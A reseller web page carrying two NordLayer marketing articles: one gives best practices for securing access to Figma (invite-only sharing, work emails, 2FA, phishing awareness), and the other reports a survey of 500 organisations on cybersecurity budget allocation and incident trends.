The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.

Best practices for secure access to Figma

As businesses increasingly shift towards digitalization, secure access to apps cannot be overstated. Today, data breaches and cyberattacks are a constant threat, making cloud security a critical business function. It’s especially difficult with collaborative tools where in-house and external team members work on joint projects.

As a web-based interface design and prototyping tool, Figma allows teams to collaborate in real-time, making various design projects easier to manage and execute. Yet, given its collaborative nature and integration capabilities with other tools, this makes Figma’s security a critical concern for these organizations.

In this article, we’ll look at Figma’s access security and highlight some best practices to prevent various risks.

Why is it important to secure access to Figma?

Figma, a collaborative interface design tool, has become an integral part of the work of designers and developers across industries. As a cloud-based application, Figma allows teams to co-design and manage projects easily, bringing together freelancer help and in-house employees allowing them to create, share, and edit designs in real-time. As many enterprise projects are considered confidential information, its secure access has become a growing concern.

Secure access to Figma projects is essential to ensure the integrity of the designs and limit access to protect the intellectual property of the organization or involved individuals. Therefore, its security is a crucial aspect to consider for all users.

Figma security best practices

Several key features in Figma can help organizations to edit privileges, sharing files securely. Here are some best practices that could help your team to secure their work.

Best practices for secure access to Figma

1. Consider investing in a professional account

Figma’s Professional plan enhances security measures to offer finer controls over file and prototype permissions. This enables effective management of teams and grants members access to specific Figma file folders and projects. The Professional account also includes unlimited version history, facilitating the tracking of modifications made to a Figma file and identifying the individuals responsible.

2. Use work email addresses for all team editors

If a team member engages in unauthorized activities, it’s a good practice to use work email addresses for all team editors. It enables your company’s IT or security team to promptly revoke edit privileges, maintaining the security and integrity of your organization. This creates an effective safety net against potential threats and can mitigate risks arising from unauthorized actions (i.e. a freelancer going rogue).

3. Create projects backups

Once a project reaches a significant milestone or is considered complete, consider archiving .fig files in a separate file system from Figma. This might involve exporting the final work as PDFs or prototype videos, followed by exporting source files. When the project is officially concluded, relocating these files to a yearly archive with tighter access controls makes sense. Developers can also use these files as a reference for new projects.

4. Ensure that your team owns all Figma files

The ownership of crucial Figma files should be exclusively retained within the team and not granted to external individuals, freelancer colleagues or clients. Figma files include sensitive and proprietary information, including design assets, user interface components, and collaborative work. Therefore, passing ownership to external parties could not only compromise the project’s confidentiality but also pose the risk of unauthorized modifications, distribution, or misuse of the content.

5. Restrict the number of files available for non-team members

Figma offers some access controls built-in. For example, it allows sending invites at the file level. As a general guideline, it’s advisable to refrain from sending invitations to external individuals at the project level unless it’s absolutely necessary. Furthermore, Figma allows granting access solely to prototypes within files. This feature is a lifesaver when individuals require visibility into the prototype without access to the underlying design work. These functions combined allow careful control and protect the access of their design files, ensuring collaboration while maintaining data privacy.

6. Sharing should be invite-only

Files sharing is one of the key priorities when setting up secure access to Figma. While public share links may seem quick and easy, they often fall short of providing robust protection for sensitive information. That’s why it’s highly recommended that the default setting for file sharing should be set to invite only. This way, an additional layer of control and accountability is added. By curating a precise list of invited individuals, the Figma file owner can rest assured that only trusted parties can access the file’s contents.

7. Regularly review sharing permissions

Figma file owners should frequently review the individuals invited to access their files. This helps keep invite-only lists in check, keeping them consistently updated (focusing on disabling publicly available links when they’re no longer needed). It not only ensures data security but also safeguards the integrity of the design process. Figma file owners can use this as a proactive measure to mitigate potential security breaches and stay up to date in terms of team access.

8. Handle shared libraries with caution

Shared libraries demand an added level of attention and consideration. It’s imperative to minimize edit access permissions when it comes to critical design libraries. In most cases, this means that individuals outside the team should never have the opportunity to change your design system. By adhering to this stringent approach, you can safeguard the consistency and stability of your design libraries.

9. Enable two-factor authentication (2FA)

The default Figma password protection is inherently vulnerable to various risks like password reuse or exposure through data breaches. 2FA adds an extra layer of authentication beyond just a strong password. It requires the team to provide additional information, typically a one-time password (OTP) or a verification code, usually generated on a separate device. This ensures that even if someone manages to obtain or guess a user’s password, they still need access to the second factor to gain entry.

10. Educate employees about phishing

Many phishing and social engineering attempts rely on tricking users into revealing sensitive information or compromising their accounts. Educating team members about these threats increases their awareness of the tactics employed by malicious actors and may help them to recognize potential attacks. As Figma accounts often contain valuable and confidential information, their hijacking could lead to data breaches or unauthorized modification to design files. Better-educated employees can protect their accounts better, use stronger passwords, and be cautious about sharing account information.

How can NordLayer help?

Figma is a modern necessity for most creatives and designers. With flexible tools to connect everyone in the design process, it helps to deliver better products and services faster. From websites, applications, and logos — Figma allows users to improve workflow and get creative. Yet, its security is a concern requiring finding a balance between security and ease of use.

Secure access to SaaS apps can be easily improved by implementing IP allowlisting with NordLayer. Our tools help to manage access securely, secure network edges, and track user actions across endpoints. Providing an encrypted and secure internet connection safeguards your team’s Figma activity.

Contact us today, and discover how to combine the benefits of Figma with airtight security.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About NordLayer
NordLayer is an adaptive network access security solution for modern businesses – from the world’s most trusted cybersecurity brand, Nord Security.

The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.

Best practices on cybersecurity budget allocation: a research-based guide

Building a cybersecurity strategy is challenging. It requires more than just technical knowledge and managerial skills but also demands financial resources.

Business budgeting tendencies show that cybersecurity investments receive only a small part of the allocated IT budget. Cybersecurity funds must be distributed wisely to ensure valuable outcomes, prove the chosen security direction effective and minimize resources’ waste.

The main challenge is how to achieve effective security spending. How much should businesses allocate to cybersecurity, and what factors like company size or maturity does it depend on?

According to Statista, information security investments in different categories continuously grow. Projections for 2024 indicate worldwide spending on information security will double compared to 2017.

The trend confirms the necessity of considerable cybersecurity funding. To understand it better, let’s dive into research-based data on how businesses of different sizes and cybersecurity maturity distribute their allocated budgets.

Research methodology

NordLayer surveyed 500 non-governmental organizations across Canada, the United Kingdom, and the United States. An external agency conducted the surveys between March 15 and 25, 2023.

Industries and subindustries represented in the research include business management and support services, e-commerce, education, finance and insurance, health care, information and communication, IT, professional and technical services, and consulting.

The survey explored the organizations’ cybersecurity maturity level (Beginner, Basic, and Advanced), their cybersecurity solutions, and the presence of an in-house specialist or responsible department. It also included questions about cyber incident costs and allocated budgeting for IT and security in the period of 2022-2023.

Companies were segmented by size:

  • Small companies: 1-10 employees.

  • Medium companies: 11-200 employees.

  • Large companies: 201+ employees.

Cybersecurity landscape and the importance of budgeting

The mantra “cybersecurity keeps evolving, so do cyber threats” remains relevant today, emphasizing the need for strengthening business protection measures. As the significance of different types of attacks shifts, mitigating one risk at a time is not a practical solution.

For instance, just last year, ransomware attacks held the top position on the threats list, alerting everyone to stay vigilant. This year, according to Statista, the threat outlook for global companies highlights business email compromise and/or account takeovers (33%) as the most prominent cyber risk surpassing ransomware (32%).

Choosing comprehensive cybersecurity tools and solutions helps to achieve the flexibility needed to adapt to dynamic technological and risk change. A sufficient budget is key, so let’s explore how much companies of all sizes invest in building their cybersecurity strategies.

Understanding the context of digital attacks

Data speaks volumes, so let’s begin by analyzing the culprit behind the need for cybersecurity investments. The survey asked companies about any cyber incidents they encountered in 2022.

The list of top 10 cyberattacks starts with phishing (39%) and malware (34%) attacks firmly holding the first two positions. Despite an intense background of cyber incidents, nearly one-fifth of the companies surveyed didn’t encounter any accidents related to digital threats.

Interestingly, ransomware, one of the most menacing threats recently, appears in the last place (16%) on the list, demonstrating how unpredictable and dynamic the nature of the cybersecurity landscape is. Please note that the frequency of a cyber incident doesn’t necessarily indicate the scale of damage inflicted. 

The scope and type of cyber incidents may depend on a company’s size or the cybersecurity maturity of an organization.

Correlation between cyber incidents and company size

Organizational size usually is misinterpreted in evaluating the likelihood of a cyberattack. Small companies tend to argue they lack valuable assets of interest to malicious actors, requiring less protection.

However, from the first glance at the research data, the trend confirms that medium and large companies are exposed to cyber incidents more often. While 42% of small companies claim they didn’t encounter any cyber incidents in 2022, it accounts for less than half of them.

We observe that insider threats and social engineering attacks are much rarer for small businesses, while data breaches or leaked passwords are more common issues. But phishing attacks (39%) on our list of cyber incidents are equally prevalent across all-sized companies

Large enterprises tend to suffer from malware (43%), social engineering (30%), and insider threats (29%). Compared with the other two categories, medium-sized businesses were exposed most to data breaches (34%) and DDos/DoS attacks (27%).

However, identity theft (27%), compromised/leaked passwords (23%), and ransomware (19%) impact companies with either 11 employees or 201+ to a similar extent.

It’s important not to forget that size doesn’t make one immune. Only the form and approach of malicious actors can differ. Frequency is only one of the aspects to consider when analyzing the intensity of attacks but not the overall impact on business continuity.

Cyber preparedness as digital threat prevention

Company size is more of a predetermined factor rather than an easily controllable aspect of the business. Conversely, cyber preparedness is a decision-based measure of whether an organization invests and focuses on cybersecurity awareness.

Interestingly, higher cyber frequency of attacks is recorded for companies with advanced cybersecurity preparedness. Why is that? A few possible reasons explain this trend.

Cybersecurity maturity is tightly connected with the complexities of creating, providing, and maintaining services and/or products within a company. It also relates to business nature, the processing of sensitive data, and active online presence. 

Companies with a cybersecurity awareness mindset are more likely to assess the risks they face. To mitigate identified risks, security managers implement solutions to prevent, detect, or proactively hunt threats. Monitoring provides explicit data on cyber events or existing breaches, implying that organizations at the basic and beginner level of cyber maturity are less aware of what’s happening under the hood.

Digital advancements increase the attack surface of a company. Factors such as zero-day vulnerabilities, lack of sufficient resources, and incompatible effectiveness of cybersecurity strategy can lead to a higher frequency of cyber attacks, particularly when outsourced services and vendors introduce third-party dependency.

Adversary motivation is common to most malicious actors. These attacks are often based on financial gain or political ideology, but some attackers simply seek the thrill of a challenge. Less cyber-advanced and protected companies are an easy catch, making them suitable for training grounds for attackers compared to more well-protected and globally known companies.

Taking a closer look at the comparison between organization size, cybersecurity maturity level, and the frequency of cyber incidents reveals no distinct deviations.

The main insights imply a weak correlation between insider threats and cybersecurity preparedness levels, while the size of an organization doesn’t seem to impact the frequency of data breaches and identity theft.

Despite the size or cybersecurity maturity, businesses depend on the industry dynamics and the services and data they operate on. The human factor, whether as an internal threat or attacker motivation, is purely a wild card in the context of the cybersecurity landscape, irrespective of the company’s size or preparedness.

Real-life scenario: damage incurred to LinkedIn scam victim companies

Let’s take a real-life example to see how LinkedIn scams, common online threats, affect businesses. The critical part is assessing the inflicted damage and exploring what measures can help prevent such risks.

A LinkedIn scam or fake profile aims to gain illicit funds, either through direct transactions or by gathering personal information that can be used to build a pretext for receiving money. Naturally, the question is, how much do businesses lose in such attacks?

Comparing the damages suffered according to company size, tendencies show that all companies are at risk. Small businesses are the least affected (12%), and medium-sized and large enterprises have to pay the price more often — 22% and 24%, respectively.

Financial damages vary from losses of up to 5,000 in local currency for 33% of companies to 10,000 in local currency for 16% of surveyed companies. These numbers should be considered high as a fifth of respondents could not disclose information regarding their financial losses.

Regarding cybersecurity maturity level, losses increase accordingly — 15% of beginner-level enterprises suffer from financial damage, while 19% of basic-level and 24% of advanced-level companies have declared experiencing expenses.

Does it mean that the more prominent and cybersecurity-developed company, the more risks it is exposed to? Not necessarily, as cyber-ready companies tend to allocate a portion of their budget to IT, particularly when improving their cybersecurity infrastructure.

Research findings on cybersecurity budgeting

Budgeting is an abstract and not clearly defined practice that could be followed by pre-defined recommendations to guarantee success. But it is an important part of business planning, although seen differently by organizations.

Research on cybersecurity budget allocations revealed insights into how enterprises of various sizes approach the same challenges. The following findings are based on overall data, considering company size, cybersecurity maturity, and country unless indicated otherwise.

Budget allocation to IT needs and cybersecurity

IT and cybersecurity budgeting are two different segments of financing. The IT covers overall technology investments, including hardware, software, personnel, and cybersecurity. As cybersecurity is just a fraction of the grand scheme, it explains why budgets can be tight and sometimes even non-existent.

In 2022, over 90% of companies distributed some of their budgets to IT needs. Most companies allocated up to 50% of their financial resources, while only 1% of respondents put all their money into IT spending.

Budget allocation to IT cybersecurity in 2022

Finances allocated directly to cybersecurity spending (besides hardware and software investments) accounted for 84% of received funds in 2022. However, 10% of companies either didn’t find it relevant or had to shift their investing priorities away from cybersecurity. Nearly one-fifth of organizations allocated up to 30% of their funds to digital security.

Half of the small companies mainly invest up to 20% of their budget in upgrading their IT infrastructure. The same tendency appears for beginner cybersecurity maturity-level companies. 14% of small companies and 18% of beginner cybersecurity maturity level organizations chose not to invest in IT needs, while 26% and 31% of these companies did not invest in cybersecurity at all.

On the other hand, large enterprises and advanced cybersecurity maturity level companies tend to allocate more funds to IT, similar to medium-sized companies and basic cyber preparedness level organizations. Large and medium enterprises tended to allocate at least a portion of their budgets to cybersecurity strategy upgrades during the year.

In 2023, the trend shows that fewer companies (88%) distributed company funds to IT needs. Some organizations redistributed their funds to other departments, excluding IT or cybersecurity.

Small and beginner-level cybersecurity maturity companies maintain the trend of investing as little as possible in IT and cybersecurity. In 2023, 16% of small-sized businesses and 19% of Beginner-level companies didn’t allocate funds to IT, which is a negative trend compared to 2022. Yet, 23% of small businesses and 28% of beginner-level companies skipped funding cybersecurity, a decrease compared to last year. 

This leads to the conclusion that although small and unadvanced companies allocate fewer funds to IT, they prioritize cybersecurity to a greater extent.

Medium-sized companies, on average, spend almost 30% of their available budget on IT in 2022. However, this allocation changed to 23% in 2023. Basic cybersecurity maturity level companies maintained a balance of 21-27% of IT funding in the last two years, with a growing tendency. Similar trends can be observed in cybersecurity investments for the same category of organizations.

Large and advanced cybersecurity maturity companies demonstrate stability, consistently allocating an average of 24% of funds designated to IT or cybersecurity needs in 2022-2023.

Investment trends for cyber threats management

Risk assessments and mitigation dictate the cybersecurity strategy of an organization. The strategy is built on security policies, tools, and solutions to implement measures that address the established business protection needs.

The cybersecurity strategy is a process that needs to be monitored, adjusted, and improved for better results. As mentioned earlier, the necessity for flexibility comes from ever-evolving digital environments.

We asked companies which solutions and services they use and what is their future investment focus in cybersecurity.

The list of implemented tools and solutions reveals that companies combine different measures to achieve security. Almost 4 out of 5 companies utilize antivirus software (79%). Secure passwords (65%) and file encryption (64%) are the second-highest priority when creating security policies within organizations.

Virtual Private Networks (VPNs) maintain their popularity in securing organization network connections, with over half (59%) of companies using them. Cyber insurance (45%) is a relatively new solution making its way to business cybersecurity, although its focus is on covering the consequences of an incident rather than preventing it.

Spending on cybersecurity solutions, services, and applications will continue to be a priority (59%) in the 2023 budgets. Raising awareness within organizations is as important as companies providing cybersecurity training and increasing dedicated staff for cybersecurity questions.

Compliance plays an important role in the approach to organizational cybersecurity. External audits and preparation for standard information security certifications are equally in focus (37%). However, 17% of respondent companies weren’t able to disclose their plans for cybersecurity budgeting allocation, and 11% said they had no plans for investing in cybersecurity.

It’s concerning to note that 1 out of 10 companies excluded cybersecurity from their budgeting priorities. 34% of those organizations are at the beginner-level of cybersecurity maturity, and 28% of small-sized businesses. Regarding the country, 8% of companies in the United States, 7% of Canada, and 5% of the United Kingdom companies cut their cybersecurity investments for the ongoing year.

Yearly comparison of cybersecurity investments

Plans for 2023 show a slight change but a clear strategy for businesses with advanced cybersecurity maturity. Purchasing security solutions, services, and/or applications is the top priority, accounting for 70% of planned costs. In addition, there is a strong focus on employee education (70%) and increasing staff for cybersecurity questions (63%).

Attention to organizational preparation for information security certifications grew from 46% in 2022 to 51% in 2023. The data implies that businesses are strengthening their cybersecurity strategies to be more aware and self-sufficient in protecting company assets.

Beginner-level cybersecurity maturity companies fluctuate between 20–30% in the same categories. It indicates awareness present with yet too little security spending allocated.

These companies are smaller, thus easier to manage their scale and exposure to digital threats. For sustainable growth and security, the mindset shift is expected to be cyber-ready for driving large-scale organization protection.

Best practices for developing cybersecurity budgets

Research revealed that cybersecurity spending depends on different factors. It plays a small yet important part in the overall business lifecycle. Investing in cybersecurity is highly recommended to ensure organizational growth and business continuity.

To allocate cybersecurity budgets effectively, evaluate all the components influencing costs, decision-making, and further strategy development. This includes staying vigilant and proactive, planning responsibly, reusing resources (talent, tools, processes) sustainably, and aiming for growth.

Key takeaways: how to identify, estimate, and prioritize security investments

Survey data shows that some companies invest in cybersecurity generously, while others, especially small businesses, tend to refrain from security funding. Naturally, the reason behind it can be related to limited resources, underdeveloped infrastructure and processes, and l time constraints.

Yet poorly protected businesses suffer harder from a cyber incident. Only luck, not size or brand awareness, influences when and how threat actors will target an organization.

Key takeaways

1. Acknowledge the change in the cybersecurity landscape

The first step for all decision-makers in the company, from a Chief Information Security Officer (CISO) to Managing Director, is to be aware of cybersecurity challenges and the vulnerability of their business to cyber threats.

Remember about technology upgrades from hardware to cloud-based environments for more resilience and flexibility. Malicious actors look for security gaps to exploit zero-day vulnerabilities.

2. Assess business-affecting risks

All organizations face the risk of cyber-attacks. Some industries have more red flags than others due to the nature of the data they process. The exposure to cyber threats can vary depending on the type of service or product the organization provides or the company’s maturity.

Understanding what security risks, threats, and scenarios your business is most exposed to is crucial to assess security measures correctly.

3. Investigate internal goals

First, investigate how the company’s budgets are allocated to different needs. What are strategic goals and business development objectives to find the place and role of cybersecurity in the organization?

Examine how the company meets compliance and aligns with stakeholders’ requirements. Are there any plans to seek certification from regulatory compliance providers, such as HIPAA for healthcare providers? Certification is a process that requires dedicated resources and, at the same time, provides guidelines for building a more robust cybersecurity strategy.

4. Audit solutions and best practices

Review your security strategy. To some extent, policies, procedures, and tools should already exist unless it’s the very beginning of a company. See what needs improvement and identify what gaps must be addressed as soon as possible.

Are there any processes that could be consolidated or solutions that aren’t used to the fullest? Companies tend to invest in applications – review what apps are utilized and if they satisfy business and user needs.

5. Plan a cybersecurity strategy

Cybersecurity strategy starts from a mindset within the company. The main elements that require continuous investment planning combine:

  • Tools & solutions.

  • Employee security training and development.

  • Dedicated staff, consultants, and outsourced services.

  • Developing backup plans for different threat scenarios to ensure a stable business lifeline.

6. Implement cybersecurity tools and policies

After evaluating the business needs for security, select solutions and tools that best suit your case. It’s beneficial to have demo calls with vendors and have a trial period to test tool adoption within the organization.

Once chosen, deploy tools, upgrade policies, and onboard the team to the new cybersecurity strategy.

7. Review & adapt to business needs

Implementing a solution and introducing new processes doesn’t end your cybersecurity strategy journey. Test, monitor, and confirm its effectiveness. Ongoing monitoring requires a dedicated team to ensure a smooth transition to a new way of working.

Whether your organization chooses to have an in-house or outsourced dedicated cybersecurity staff, it is important to allocate the necessary investments. It is recommended to choose a solution that is sustainable and easy to manage.

8. Update & make cybersecurity an ongoing process

Work on new and follow-up business initiatives in accordance with your cybersecurity strategy. Investigate what areas need changing, upgrades, and improvements for another implementation cycle.

Coherent tracking and planning help make next year’s cybersecurity budget easier. It is essential to invest in security training, tools, and dedicated employees in the company and view security as continuous learning and growth.

Following recommendations for cybersecurity budgeting

Finances and the effective allocation of limited resources is a sensitive and complex topic for any organization manager responsible for business planning. This research sheds light on the industry trends regarding how companies approach cybersecurity funding, which is ultimately connected to digital threat prevention.

Further investigation and insights are beneficial for informed planning, so explore other materials from NordLayer for a better understanding and planning of the cybersecurity budget:

Cost-benefit analysis of cybersecurity spending

A comprehensive analysis of cybersecurity costs and factors affecting them, benefits of cybersecurity spending, and how to apply it to your organization. In the article, you’ll find more comprehensive information on specific solutions and tools, security spending projections on dedicated cybersecurity staff, and other nuances influencing the cybersecurity strategy.

The study helps better understand the subject and find convincing arguments for discussions with other decision-makers.

Decision Maker’s Kit

This content support platform is dedicated to assisting decision-makers in choosing, explaining, and onboarding their selected cybersecurity solution within their organization. From strategical to explanatory materials, prepared templates, and documentation, the platform provides a better perspective on what’s required and expected when building a cybersecurity strategy for a business.

Projections on security budgeting for 2023

An overview of how much companies plan to allocate to cybersecurity in 2023, considering different factors. The article covers building a budgeting strategy, assessing the expense gap, and exploring investment alternatives such as the cost of a data breach.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About NordLayer
NordLayer is an adaptive network access security solution for modern businesses – from the world’s most trusted cybersecurity brand, Nord Security.

The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.

×

Hello!

Click one of our contacts below to chat on WhatsApp

×